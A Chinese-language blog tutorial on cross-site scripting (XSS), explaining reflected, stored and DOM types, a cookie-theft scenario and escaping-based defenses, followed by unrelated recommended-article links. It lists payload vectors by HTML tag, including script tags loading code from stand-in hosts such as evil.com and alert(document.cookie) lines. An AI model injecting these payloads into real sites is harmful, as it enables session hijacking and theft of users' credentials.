JavaScript 跨站攻击脚本-XSS
XSS: Cross Site Scripting
XSS 概念
恶意攻击者往Web页面里插入恶意script代码,
当用户浏览该页之时,嵌入Web里面的script代码会被执行,从达到恶意攻击的目的.XSS攻击针对的是用户层面的攻击
xss漏洞通常是通过页面的输入函数将javascript代码输出到html页面中, 通过用户本地浏览器执行的。
xss漏洞原因:`允许用户在提交的数据中嵌入HTTML代码或JavaScript代码`
影响范围: XSS涉及到第三方,即攻击者,客户端和网站,XSS的攻击目标是为了盗取客户端的cookie或者其他用于识别客户端身份的敏感信息,然后假冒最终用户与网站交互
XSS 分类
'1': 反射型xss- <非持久化> 攻击者事制作好攻击链接,需要欺骗用户点击链接才能触发xss代码(服务器中没有这样的页面和内容),一般出现在搜索页面。
'2': 存储型xss- <持久化>代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中
每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)
'3': DOM型xss:基于文档对象模型 Document Object Model的一种漏洞。
DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。
DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,
它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
反射型xss攻击图示

XSS 攻击载体
'script标签': <script>标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中
<script src=http://xxx.com/xss.js></script> #引用外部的xss
<script> alert("hack")</script> #弹出hack
<script>alert(document.cookie)</script> #弹出cookie
'img标签':
<img src=1 οnerrοr=alert("hack")>
<img src=1 οnerrοr=alert(/hack/)>
<img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
<img src=1 οnerrοr=alert(123)> 注:对于数字,可以不用引号
<img src="javascript:alert("XSS");">
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
'body标签': 可以使用onload属性或其他更加模糊的属性(如属性)在标记内部传递XSS有效内容background
<body οnlοad=alert("XSS")>
<body background="javascript:alert("XSS")">
'iframe标签': 该<iframe>标签允许另一个HTML网页的嵌入到父页面。IFrame可以包含JavaScript,但是,请注意,由于浏览器的内容安全策略(CSP)
iFrame中的JavaScript无法访问父页面的DOM。然而,IFrame仍然是非常有效的解除网络钓鱼攻击的手段
<iframe src=”http://evil.com/xss.html”>
'input标签': 在某些浏览器中,如果标记的type属性<input>设置为image,则可以对其进行操作以嵌入脚本
<input type="image" src="javascript:alert('XSS');">
'link标签': <link>标签,这是经常被用来连接外部的样式表可以包含的脚本
<link rel="stylesheet" href="javascript:alert('XSS');">
'table标签': 可以利用和标签的background属性来引用脚本而不是图像
<table background="javascript:alert('XSS')">
<td background="javascript:alert('XSS')">
'div标签': 该<div>标签,类似于<table>和<td>标签也可以指定一个背景,因此嵌入的脚本
<div style="background-image: url(javascript:alert('XSS'))">
<div style="width: expression(alert('XSS'));">
'object标签': 该<object>标签可用于从外部站点脚本包含
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">
XSS 攻击过程-反射型
'Alice'经常浏览某个网站,此网站为'Bob'所拥有。
'Bob'的站点需要Alice使用用户名/密码进行登录,并存储了'Alice'敏感信息(比如银行帐户信息)。
'Tom' 发现 'Bob'的站点存在反射性的XSS漏洞
'Tom'编写了一个包含恶意代码的URL,并利用各种手段诱使'Alice'点击
'Alice'在登录到'Bob'的站点后,浏览了 'Tom' 提供的URL
嵌入到URL中的恶意脚本在Alice的浏览器中执行。此脚本盗窃敏感信息(cookie、帐号信息等信息)。然后在'Alice'完全不知情的情况下将这些信息发送给 'Tom'
'Tom' 利用获取到的cookie就可以以'Alice'的身份登录'Bob'的站点,如果脚本的功更强大的话,'Tom' 还可以对'Alice'的浏览器做控制并进一步利用漏洞控制
XSS 攻击过程-反射型
'Bob'拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。
'Tom'检测到'Bob'的站点存在存储型的XSS漏洞。
'Tom'在'Bob'的网站上发布一个带有恶意脚本的热点信息,该热点信息存储在了'Bob'的服务器的数据库中,然后吸引其它用户来阅读该热点信息。
'Bob'或者是任何的其他人如'Alice'浏览该信息之后,'Tom'的恶意脚本就会执行。
'Tom'的恶意脚本执行后,'Tom'就可以对浏览器该页面的用户发动一起XSS攻击
XSS 漏洞的危害
存储型的XSS危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,只要被攻击者访问了该页面就会遭受攻击。
而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL,需要我们和用户有直接或者间接的接触
比如利用社会工程学或者利用在其他网页挂马的方式。
XSS危害

XSS 攻击漏洞的解决
'1': 控制脚本注入的语法要素。比如:JavaScript离不开:“<”、“>”、“(”、“)”、“;”...等等,
我们只需要在输入或输出时对其进行字符过滤或转义处理就即可。
一般我们会采用转义的方式来处理,转义字符是会使用到HTML的原始码,
因为原始码是可以被浏览器直接识别的,所以使用起来非常方便。
允许可输入的字符串长度限制也可以一定程度上控制脚本注入
'2':所有的过滤、检测、限制等策略,建议在Web Server那一端去完成,而不是使用客户端的JavaScript或者VBScript去做简单的检查。
因为真正的攻击者可以绕过你精心设计制作的客户端进行过滤、检测或限制手段
JavaScript 跨站攻击脚本-XSS的更多相关文章
- Http的会话跟踪和跨站攻击(xss)
会话跟踪 什么是会话? 客户端打开与服务器的连接发出请求到服务器响应客户端请求的全过程称之为会话. 什么是会话跟踪? 会话跟踪指的是对同一个用户对服务器的连续的请求和接受响应的监视. 为什么需要会话跟 ...
- web安全性测试——XSS跨站攻击
1.跨站攻击含义 XSS:(Cross-site scripting)全称"跨站脚本",是注入攻击的一种.其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布 ...
- 用shell脚本批量进行xss跨站攻击请求
由于执行的xss攻击请求他多了,初步估计要执行83次,而且还要执行3篇,如果手工一个一个去执行,说出去,我还配叫自动化大师吗: 有鉴于此,边打算自己编写一个脚本进行批量执行: 而短脚本的编写,非she ...
- XSS与CSRF两种跨站攻击比较
XSS:跨站脚本(Cross-site scripting) CSRF:跨站请求伪造(Cross-site request forgery) 在那个年代,大家一般用拼接字符串的方式来构造动态SQL 语 ...
- 总结 XSS 与 CSRF 两种跨站攻击
前言 在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 [1] 已经成了普遍用法,我们已经离 SQL 注入很远了 ...
- XSS跨站攻击
目录 1 XSS跨站攻击简介 1 1.1 什么是XSS 1 1.2 XSS的分类 1 1.3 XSS的危害 1 2 XSS的攻击原理 1 2.1 本地式漏洞攻击 1 2.2 存储式漏洞攻击 2 2.3 ...
- 总结XSS与CSRF两种跨站攻击
XSS:跨站脚本(Cross-site scripting),实际应是"CSS",但由于和层叠样式表CSS名称冲突,故改为"XSS" CSRF:跨站请求伪造(C ...
- Cross-Site Scripting XSS 跨站攻击全攻略 分类: 系统架构 2015-07-08 12:25 21人阅读 评论(2) 收藏
原文:http://a1pass.blog.163.com/blog/static/2971373220087295449497/ 题记:这是我在<黑客X档案>08年第5期发表的一篇文章, ...
- XSS 与 CSRF 两种跨站攻击
在前几年,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式, 但是现在参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了.但是历史同样悠久的 ...
随机推荐
- CentOS7 源码编译安装Nginx
源码编译安装nginx 1.下载nginx源码包(这里以nginx-1.18.0为例) wget http://nginx.org/download/nginx-1.18.0.tar.gz 2 ...
- Python Ethical Hacking - Intercepting and Modifying Packets
INTERCEPTING & MODIFYING PACKETS Scapy can be used to: Create packets. Analyze packets. Send/rec ...
- PJzhang:python基础入门的7个疗程-seven
猫宁!!! 参考链接:易灵微课-21天轻松掌握零基础python入门必修课 https://www.liaoxuefeng.com/wiki/1016959663602400 第19天:开源模块 数据 ...
- 雨云CDN - 好用的CDN服务
注册雨云 点我 创建CDN 解析CDN 解析完后去试试快了吗?
- 小程序开发全栈1.2/3/4组件、flex布局、样式
1.2 组件 1.2.1 text组件 编写文本信息,类似于HTTP中的span 1.2.2 view组件 容器,类似于HTTP中的div 1.2.3 image组件 图片显示组件 1.3 页面fle ...
- Docker 入门教程(1)——安装
docker大名听说了很久,一直没有去研究过,但现在面试动不动要求docker,还是研究下吧.由于我的电脑是win10系统(穷,买不起mac),安装过程各种坑爹问题不断,一度都想放弃,所以说垃圾win ...
- web自动化 -- js操作(滑动屏幕、修改页面)
一.selenium对 js 的操作方法 1.先定义 js 操作 或者 定义 目标元素 2.执行 js 操作: driver.execute_script(js操作) 或者 ...
- F - Maximal Intersection --------暴力求解题
You are given n segments on a number line; each endpoint of every segment has integer coordinates. S ...
- CSS3多栏布局
CSS3多栏布局 分栏数: column-count:auto|num: auto为默认值,表示元素只有一列.num取值为大于0的整数 每栏宽度: column-width:auto|<leng ...
- python如何支持并发?
由于GIL(Global Interpreter Lock)的存在使得在同一时刻Python进程只能使用CPU的一个核心,也就是对应操作系统的一个 内核线程,对于一个Python web程序,如果有个 ...